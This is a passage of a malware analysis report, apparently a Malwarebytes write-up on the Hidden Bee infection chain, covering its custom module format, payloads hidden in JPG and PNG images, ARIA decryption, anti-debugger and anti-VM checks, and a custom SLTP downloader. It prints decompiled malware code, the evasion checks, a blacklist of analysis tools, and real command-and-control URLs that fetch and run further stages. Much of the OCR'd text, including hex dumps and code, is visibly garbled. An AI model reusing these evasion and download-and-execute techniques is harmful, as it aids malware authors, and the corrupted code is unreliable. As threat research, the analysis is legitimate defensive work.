00000070 00 00 00 00 8c e7 ae 97 9f 66 bd 6k 9 5c 88 Ob ......... k...
00000080 24 75 82 04 30 b8 82 0d 9d bb 93 lc ca 96 93 1lc fu..0...ieueusn
00000030 5e 96 93 1lc 06 2e 6b 43 £9 58 b6 04 07 32 b5 50 ~..... E..E...2.F
00000020 47 Tk 08 55 11 45 15 4e 8% 5 b7 29 &8d af 42 74 G{.U.E.N._.}...}
000000b0 4f 5b &8 63 90 75 82 04 23 32 &l 6f 3c ce ee 30 O[.c.u..#$2.0¢..0
000000cO Be da £d =2 58 3L 15 5a fz 34 19 49 fe e5 1% Oe ....X2.Z2.4.I....
000000d0 2f 87 d8 1lc 1f bb 31 cf 27 75 8d ca 2e cf 8 66 /..... 1."0eunn.. f

Then it redirects execution to its loading function. Below, we can see the Entry Point of the implanted module

within dllhost.exe.

* KernelMode - dilhost.exe - [*G.P.U* - main thread]
File YWiew Debug Plugins Options Window Help

et Bex] wi1] w4 304 ] ) L]E|mTwE]c|sx

FE7424 B3 FUSH OWORD FTRE SS: [ESP+E:E] implanted_modu le_ep
HERSEACED FFE424 @3 CALL DWORD FTR 55: [ESP+EXE]
ERASEACE 1 Cz2 @caa EETH &@urC
HARSACE S =1 FUSH EEP
HEESECES SBEC Moy EEBF,ESP
BEAASACET S3EC 18 SUE ESP, @15
BEAASACER 53 FUSH EEX ntdll.7739714C
BEESECEE 8BS0 18 Moy EEX, OWORD FTR S5:[CEEF+@x151]
ARRSACAF SR FIISH FST
<
Stack S55:[0011F4ECI=BEEECESA
Hddress |Hex dump HSCII

QEECEEAA[ 81 64 68 18| 1C B Y4 88|80 G5 00 88|22 BE 00 00| Be. ot d. . k2.,
BRASEE1A| 7R BS B8 88| 15 BS 08 88|88 B0 60 88|82 88 11 A8 pe. . TS e anaad
BEESEEZA| 64 YE 6E 66|66 24 6E G6| 66 BE BB AC| 88 26 B8 41(d nffinff. ... %,
BABSEEZE| 4F 52 44 4F| 46 39 28 24| 6E 66 66 BE| 88 BC BB @3 0x00F983nff....
BEECEE4E| B8 4B 4E EC| 4B EQ 42 29|28 24 cE 66|66 BO 0O BE(.KM-EZIC925nff. .
BEECEECA| BE B4 BE 49 &R &2 &2 &4|&6F FE 24 EE| 66 S5 DE BE| . 4. Ikhcdovinff.
BEASAECA| BA BA B& B8 47 59 EC 49| E8 BE 24 &GE| &6 &6 0O BA(..s.GYI8"5nff..
BEASEEFA| B8 AR BE B@|2C EY AE 97| 9F &5 ED &B| 9B SC 22 BB|....TE8«38F2kT- b2
QEECEE2E| 24 Y5 S2 60|28 BS 52 60|20 BE 93 IC|CH 25 93 I1C|fug.@85e.knac=ldn
BRASEEZA|SE 25 93 IC| 86 2E 6B D3|F? 55 B 84|87 32 BS S8| “Fi e.kE " xA#*- 2AF
BEASEERA| 47 B B3 55|11 45 15 4E| 32 SF BY 29|30 AF D2 70| GLAU4ESHE_EIZ=0}
BRESEEEA| 4F SB AE 62| 9@ ¥E 82 60|22 32 Hl1 &F|3C CE EE 28| O[EcEues. #tZ iodjftE
BREESEECA| 2E DA FD E2| 58 2F 15 GAIFA 24 19 49| FE EE 19 BE[ArfdEYES 44 Infi+H

» udDe

A detailed analysis of the execution flow of this module and its format will be given later in the article.

At this point, it is important to note that the dllhost.exe is the module that further downloads the aforementioned

images.
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The modules with the custom format

The module with the custom format is analogous to the one described before. However, we can see that it has

significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the previous one. The few details that have changed are: the magic number at the
beginning (from 0x10000301 to 0x10000401), and the format in which the DLLs are stored (the length of a DLL
name has been added). That’s why we will refer to this format as “0x10000401 format.”

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1 byte character. They

are deobfuscated just before being loaded.

Ll s =]
Be31150C
@883115D0C decode_func_name:
@8831150C mov cl, [esi+5]
@83115DF xor [eax], cl
@83115E1 mov ecx, [ebpt+arg_e]
@@83115E4 movzx  edx, byte ptr [edi]
@83115E7 inc eax
@B3115E8 add ecx, eax
B83115EA cmp ecx, edx
@83115EC jb shart decocde_func_name
—
\ YVY
| et =
3115EE
3115EE loc_3115EE:
3115EE lea eax, [edit+d]
3115F1 push eax ; _DWORD

3115F2 call ds:Locadlibrarys
3115F8 test eax, eax

3115FA mov [ebptvar_18], eax
3115FD jz short loc 311636

Summing up, we can visualize the new format in the following way:
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offset(h) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF Decoded text
00000000 [NEDERGD] T I..
00000010 |70 _06 00 RO

03 00 11 00 A
00000020 64 T7E 6E 66 66 24 6E 66 €6 00 00 OC 00 26 00 41 d~nffénff....&.R
00000030 4F 52 44 4F 46 39 38 24 6E €6 66 00 00 0OC 00 02 COXDOF98¢nff.....
00000040 00 4B 4E 5C 4B S 43 32 38 24 6E 66 66 00 00 0B . EN\KZC98Snff...
00000050 00 04 00 49 6B €2 63 64 6F 7E 24 6E €6 66 00 00 ...Ikhcdo~$nff..
00000060 QA 00 06 00 47 52 5C 42 58 SE 24 6E 66 66 00 00 ....GY\IX"$nff..

00 OO0 Q0 Qo P

00000070 6B OB 5C 88 0B Sce—zf k..
00000080 24 75 82 i1C CA %8 93 1C  $u,.0,,.ts™.E-™.
00000090 5E 98 93 1C 04 07 32 B5 50 ~-", .. kOGHY..2nP
e
00000180 87 FO 96 7C 3D RD 39 0D C7 OE E0 3D F3 16 E6 F5 *d-|=.9.C.#=4.48
00000190 7FC B0 3E 28 EA 3D 9D 7C | "> e=t]

64 L1 30 00 00 00 C3 56 d-0...4v
000001A0 8B 4C 24 08 8B 83 CO 14 38 51 07 «L$.<DE.3H.R.8Q.
000001B0 74 1C 33 F6 39 07 76 12 8B D6 83 E2 t.3859Q..Q.v.<0.4

0000B810 00 00 00 00 00 00 00 B2 03 00 00 +uvvvvvvnnns .
0000B820 BF 03 00 00 E1 00 00 13 04 00 00 Z...Bevvurnrnnns
0000B830 24 04 00 00 2D 0 00 00 47 04 00 00 $...-...B...G.
0000B840 55 04 00 00 61 00 00 9C 04 00 00 U...a...5...5.
0000B850 BF 04 00 00 CE 00 00 FA 04 00 00 z...I...i...4..
0000B8&0 01 05 00 00 79 00 00 BT 05 00 00 +.e.¥Weueeue-un
0000B870 BE 05 00 00 CA 00 00 EA 05 00 00 I...E...B...g..
0000B880 F2 05 00 00 51 00 00 74 06 00 00 #...Q...C...t.
e

Obfuscation used

This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just

before use.

Ba31airs
ea3lairFe
eailaesea
aailesal
eailesss
ea3laseb
ea3l1asec
easlaesen

lea
push
push
push
call
pop
push
call

eax, [ebp-2CCh]

184h

2ax 3 _DWORD
offset unk_ 317838

decode _memory

eCx

eax 3 _DWORD

ds:ExpandEnvironmentStringshd

The decoding algorithm is simple, based on XOR:
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1| BYTE *__cdecl decode_memory( BYTE *input_arr)

2[f

3| _BYTE *output_arr; // eax

4| wunsigned int indx; // esi

5| bool is_finished; // =f

6

7| output_arr = input_arr + @x14;

8| if { input_arr[7] )

9| {
1@ indx = @3
11 is finished = *{{_DWORD *}input_arr + 4} == @;
12 input_arr[7] = 9;
13 if { lis_finished )
14 1
15 do
16 'y
17 output arr[indx] *= input_arr[{indx & 7} + 8];
18 +Hindwxg
19 }
20 while { indx < *{{_DWORD *)input_arr + 4) };
21 }
22| }
23| return output_arr;
24}

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage,
and its role is to download and unpack the other components. One such component is in a CAB format (that’s why

we can see the Cabinet.dll among the imported DLLSs).

The role of this module is similar to the first “WASM” mentioned in our post a year ago. However, the current
version is not only better protected, but also comes with some improvements. This time the downloaded content is

hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:

[ a

BB311B58 mov [Ehp+arg:8], eax
BB311B5B push eax
8B311B5C lea eax, [ebptarg_g]

@B311B5F push offset basesd Str ; “SQBodHRwO1BwvMzguNzUuMTM3ILjkeOTALADC OwdiWI". ..
BB311B64 push eax

BB311B65 push esi

88311866 call basegd decode

88311866 add esp, laéh

This string decodes to a list containing URLSs of the PNG and JPG files that are going to be downloaded. For each
sample, this set is unique. None of the URLs can be reused: the server gives a response only once. An example of
a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937a4eadd6f5a94b3738a58dcc79cal3 http://38.75.137.9:9088/im:

So, we can confirm that this module is the one responsible for downloading and processing the observed images.

Indeed, inside we can find the functions responsible for their decoding.

Page 43 of 265



https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CB3 jz loc_311F3C

1CBE cmp byte ptr [ebx], BFFh
1CC1 jnz invalid_payload

10C7 cmp byte ptr [ebx+l1], @Dsh
1CCE jnz invalid payload

1C01 cmp word ptr [ebx+2], BEGFFh
1co7 jnz invalid_payload

1CDD cmp byte ptr [ebx+s], 'J'
1CE1 jnz invalid_payload

1CE7 cmp byte ptr [ebx+7], 'F'
1CEB jnz invalid_payload

1CF1 cmp byte ptr [ebx+5], 'I'
1CFS jnz invalid payload

1CFB cmp byte ptr [ebx+9], 'F'
1CFF jnz invalid_payload

1Des cmp byte ptr [ebx+esh], @
1De9 jnz invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start

from the !rcx magic ID.

—— Yy
Ll s 55
@a311069
@8311D0e9 wor_next:
B88311069 xor [eax+esi], cl
8|831106C inc eax
88311060 cmp eax, [ebx+1l8h]
ee31107@ b short xor_next
Yy
loc_311D72:
cmp [esi+d], edi
ja invalid payload
L 4
Ll e 5=
88311078 cmp dword ptr [ksi], 'xcr!’
88311081 jnz invalid payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash

is stored in the module’s header and compared with the calculated hash of the file content.
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88311087 lea eax, [esi+d]
88311084 push 32
@@831108C push eax

28311080 lea eax, [ebptwvar_ 4]
28311098 push eax

88311091 mov [ebptarg_B], 48
@8311098 lea edi, [esi+28h]

@8311098 call j_memcpy
288311048 push 32

@831104a2 lea eax, [esi+d]
@@83110A5 push @

28@83110A7 push eax

283110A8 call j_memset
2883110AD lea eax, [ebptwvar_BC]
883110E3 push eax

@83110B4 call sha256_init
88311089 push [ebpt+var_4]
@883110BC lea eax, [ebpt+var_BC)
@@83110C2 push esi

@8@83110C3 push eax

283110C4 call sha256_hash

283110C9 lea eax, [ebptwvar_BC]
@83110CF push eax
88311008 lea eax, [esi+d]

88311003 push eax

8311004 call sha256_finish
28311009 lea eax, [esi+s]
@@831100C push 32

883110DE push eax

883110DF lea eax, [ebptwvar_4C]
@83110E2 push eax

@83110E3 call h_memcmp
@883110EE add esp, 3Ch

If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow

will be given later.

okl e

@3311ELF

@9311E1F loc_311ELF: 3 _DWORD
@88311ELF push 48h

@8311E21 push 1a68h 3 _DWORD
@8311E26 push dword ptr [edi+3] ; _DWORD
@8311E29 push & 3 _DWORD

@E311E28 call ds:VirtualAlloc
BB311E31 test eax, eax

B88311E33 mov [ebp+shellcode _mem], eax
@@311E36 jz short loc_311E48
4

ol e =

@@8311E38 push dword ptr [edits]
@8311E3E add edi, 1eh
@8311E3E push edi
@88311E3F push eax
@e311E48 call j_memcpy
@8311E45 add esp, @Ch

T
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The !rcx package has a simple header:

Offsec(h) 00 01 02 03 04 05 06 07 08 0% O& OB OC OD OE OF Decoded text

00000000 Magic: !rcx
00000010 Size
00000020

00000030 SHA256

31 CO 40 90 OF 84 56 0
00000040 00 00 E8 04 00 00 00 OF 00 &0 OC 58 60 €4 BB 3
a

00000050 30 00 00 00 52 51 50 56 E& 44 00 00 00 &1 C3 ¢
00000060 54 24 04 2B 44 24 0OC 56 8B 74 24 0C 57 8D 3C O
2

1&@..,v. Code

0...RQPVED. . .al
TS.¢DS. Vet . Wi<.

2
00000070 OF BT 02 42 42 83 F8 41 7C 08 83 F8 54 7F 03 83 . -.BB.fA|..fZ...
00000080 CO 20 OF BT OE 46 46 83 F9 41 7C 08 83 F3 54 7F R .-.FF.GA[..4Z.
Q00000090 03 B3 C1 20 3B D7 73 04 3B C1 74 D4 5F C1 5E ..A .:*S.:f&t(n)_ﬂax"

2B
0D0O000AD C3 55 8B EC 83 EC 4C 8B 45 08 53 56 57 8B 70 0C AU«&.EL<E.SVW<p.
0D0000BD 6A &C 58 33 C9 66 89 45 BE 66 89 45 C8 66 89 45 J1X3EFREIfECT%E
000000CD CA 66 B89 45 EE &6 B9 45 FO €6 89 45 F& 66 89 45 Ef%EifkEdfLEGTLE

Decoding the PNG

Retrieving the content from the PNG is more complex.

883116CE loc 3116CE:

883116CE lea eax, [ebptvar 8]
88311601 push a8

88311603 push eax

88311604 push edi

88311605 wor esi, esi
88311607 mov [ebp+var_8], &%h
8831160E mov [ebp+var_ 7], 'P'
8831160F mov [ebp+var_&], 'N'
8B83116E3 mov [ebp+var 5], 'G'
8B83116E7 mov [ebp+var_4], @Dh
BB3116EE mov [ebp+var_3], eah
BB3116EF mov [ebp+var_2], 1Ah
BB3116F3 mov [ebp+var_1], @sah
B83116F7 call j_memcmp
883116FC add esp, @Ch

The function decoding the PNG has the following flow:
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Eleccded_lsuf = 8;
png_hdr = @x89u;

Vi3 = 'P';
vid = 'N';
vis = 'G';
V16 = '\r';
V17 = '\n';
vi8 = 263

vi9 = 10;

if ( !j_memcmp(payload, &png hdr, 8) )

decoded_buf = (_BYTE *)decode_from_png(payload, functions_list, &size);
result = free(payload);
if ( decoded buf }

if ¢ !(size & 3) )

buf_ptr = deceded_buf;
aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
j_memset(aria_key_ptr + 4, @, *(_DWORD *)aria_key ptr);
if ( size )
{
do
{
aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);
index += 163
buf_ptr += 16;

while ( index ¢ size };

}

if ( *decoded_buf == 'M" && decoded_buf[1] == 'S’ && decoded_buf[2] == "C' && decoded_buf[3] == 'F' )
if ( unpack_cab{&v18, (int)}decoded_buf, size} }

module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
load_from_package(index, (int)decoded_buf, (int)&v1@, module_name, @);
free_module(&vin);
b
¥

b
result = free(decoded_buf);
b

return result;

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB

format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLSs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :

QOOQOBET7O 04 74 00 00 1E 74 00 00 24 74 00 00 2A 74 00 00 .t...t..5tc..*%c..
OO00OBEBO 30 74 00 OO0 36 74 00 00 pEEGDERE-EAcEhHRR-Toll! Ot..6C..[. .0F= \a
bR " ES Ec 17 BB 96 EC ERL CS EF glveleRelvEuTiams[eRile] I:lé.t—égEElI ......
O000BERD OO OO OO0 OO OO OO0 OO0 OO0 OO0 OO0 00 00 00 00 00 00 . ..eevereinnnnns

During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.
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@83185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

@83185C7 mov [eax], ecx

B883185C9 mov eax, ds:aria_key ptr
@83185CE push dword ptr [eax]
Be318s08 add eax, 4

28318503 push ebx
@e31es04 push eax
@831es05 call Jj_memcpy
a831esDA add esp, @Ch

vrlrff

[l i =
Ba3lesin
88318500 loc 31e5D0:
28831850l cmp ds:iaria_key ptr, 8
B83185E4 jnz short continue_te download
Yy Y
Mz
B@31a85E6 BB3185EE
@83185E6 loc_31@5E6: ; _DWORD| |@@31@5EE |continue to download: ; _DWORD
@B3185E6 push a8 B@3185EE push 7
@83185E8 call ds:ExitProcess B83185F8 call ds :SetErrorMode
@a3185F6 mov eax, [ebp+param]
@831e5F3 push dword ptr [eax+eCh]
@e31e5FC call download and decode images
@e318681 jmp loc 31@AF1

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

|Z > |E| Location: | s /bin/i386/

Name v  Size Type Modified
2 core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1la2fdc79c154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.

Inside core.sdb
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This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DDI863DFEI1}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:
sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.
2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:
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&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation

).
36 j_memset((int)vl, @, SystemInformationLength);
37 if ( !NtQuerySystemInformation(v3, 5, v2, SystemInformaticnLength, &SystemInformationLength) )
38
39 while ( !'blacklisted_processes[@] )
4a
41|check_next:
42 if ( !'*(_DWORD *}v2 )
43 gotoe finished;
a4 v2 += *{_DWORD *)v2;
45
46 c_name = blacklisted processes;
47 _next_proc_name = blacklisted processes;
8 while ( 1 )
49 {
5@ RtlInitUnicodeString(&ve, *next_proc_name);
51 if ( (_WORD)vG == *((_WORD *)v2 + 28) )
£
53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;
55 3
56 next_proc_name = _next_proc_name + 1;
57 _next_proc_name = next_proc_name;
58 if ( !*next_proc_name )
59 goto check_next;
68 3
61 blacklisted_found = 1;
62
63[finished:
64 LocalFree(v7);
65
66 return blacklisted found;
57[}

The blacklist contains popular debuggers and sniffers:

» < » <« » <«

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”,

» <«

ollydbg.exe”, “idag.exe”,

» G

“ImmunityDebugger.exe”, “windbg.exe”

» G

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.

Another function deploys a set of anti-VM checks. The anti-VM checks include:
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45| ms_exc.registration.Trylevel = @;
47| CPUID check(&v27, @x40080000);
48| *{ _DWORD *)v33 = v28;

49| *(_DWORD *)&v33[4] = v29;

58| *(_DWORD *)&33[8] = v3e;

51| ms_exc.registration.TrylLevel = -1;
52| HIBYTE(v34) = @;

53| 1if ( VPCEXT_check() }

54 goto set wm_flag;

55| if ( vMWare_io check() )

56 goto set_wm_flag;

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a

B24335CE push hBBBBBBBh
B2433500 lea eax, [ebpt+var_s544]
82433506 push eax

82433507 call CPUID check

82433414 pusha

82433418 mov eax, [ebptarg_ 4]
B243341E xor ebx, ebx
B2433420 xor BCH, BCN
82433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebp+arg_e]

The VMWATre 1/0O Port (more details [here]):

@2433534 mov eax, VMKh'

@243353F mov ehx, @

82433544 mov ecx, Bah

82433549 mov edw, VX'

B243354E in eax, dx ; check for WWware
B243354F cmp ebx, "VMxh'

B2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

82433483 push ebx
B824334B4 mov ebx, @
B824334B9 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ebx, ebx
B24334C4 setz [ebp+var_1C)

Checking the list of common VM vendors:
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57
58
59
68
6l
62
63
a4
65
66
67
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69
78
71
72
73
74
75
76
77
78
79
o8
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a2
83
a4
a5
26
a7
28
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ve = decode_memory(&str_XenVMMXenViMM) ; JI " XenVMMenviiM™

if { !strncmp{v33, wve, 12} )
goto set_wm_flag;

vl = decode_memory(&str_VMWareVMware); J "VMwareVMware”

if ( Istrncmp(v33, vi, 12} )
goto set vm_flag;

w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"

if { !strncmp(v33, v2, 12} )

goto set_wvm_flag;
v3 = decode_memory({&str KVMIKVMKVM) ; JI T IEMEVMICVM™
if { !strncmp{v33, v3, 12) )

goto set_wm_flag;
vd = decode_memory(&unk_2435F78); " lrpepyh  wr
if ( !strncmp(v33, v4, 12) )

goto set_vm_flag;
v5 = decode_memory(&unk 2435F58); // "sbiedll.dll™

if { GetModuleHandleA(vS) )
goto set_wm_flag;

if { leetComputerNameW(Buffer, &nSize) )
goto set_wm_flag;

= (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"

WE
if ( !lstrecmpilW(Buffer, wv&) )
goto set_vm_flag;
nsize = 1824;
if ( !GetUserNameW(Buffer, &nSize) )
goto set_wm_flag;
w7 = {const WCHAR *)decode_memory(&unk_2435F88);//
if { !1strompiW(Buffer, w7} )
goto set_wm_flag;

= (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX"

wB
if { !1strempil{Buffer, wva) )
goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

83
98
91

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

99

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 &8 ((idl = decode_memory(&unk_2435DB4), ((int (

115 || (id2 = decode_memory(&unk_2435D88), ((int (_ thiscall *)(int, WCHAR *, _| *)
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127]}

v3 = decode_memory (&unk_2435EE8); /{ "strstria”
v18 = decode_memory(&unk_2435ECE); /7 "shlwapi.dll”
shlwapi_dll = LoadlLibraryA(v1@);

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.

Page 55 of 265



https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

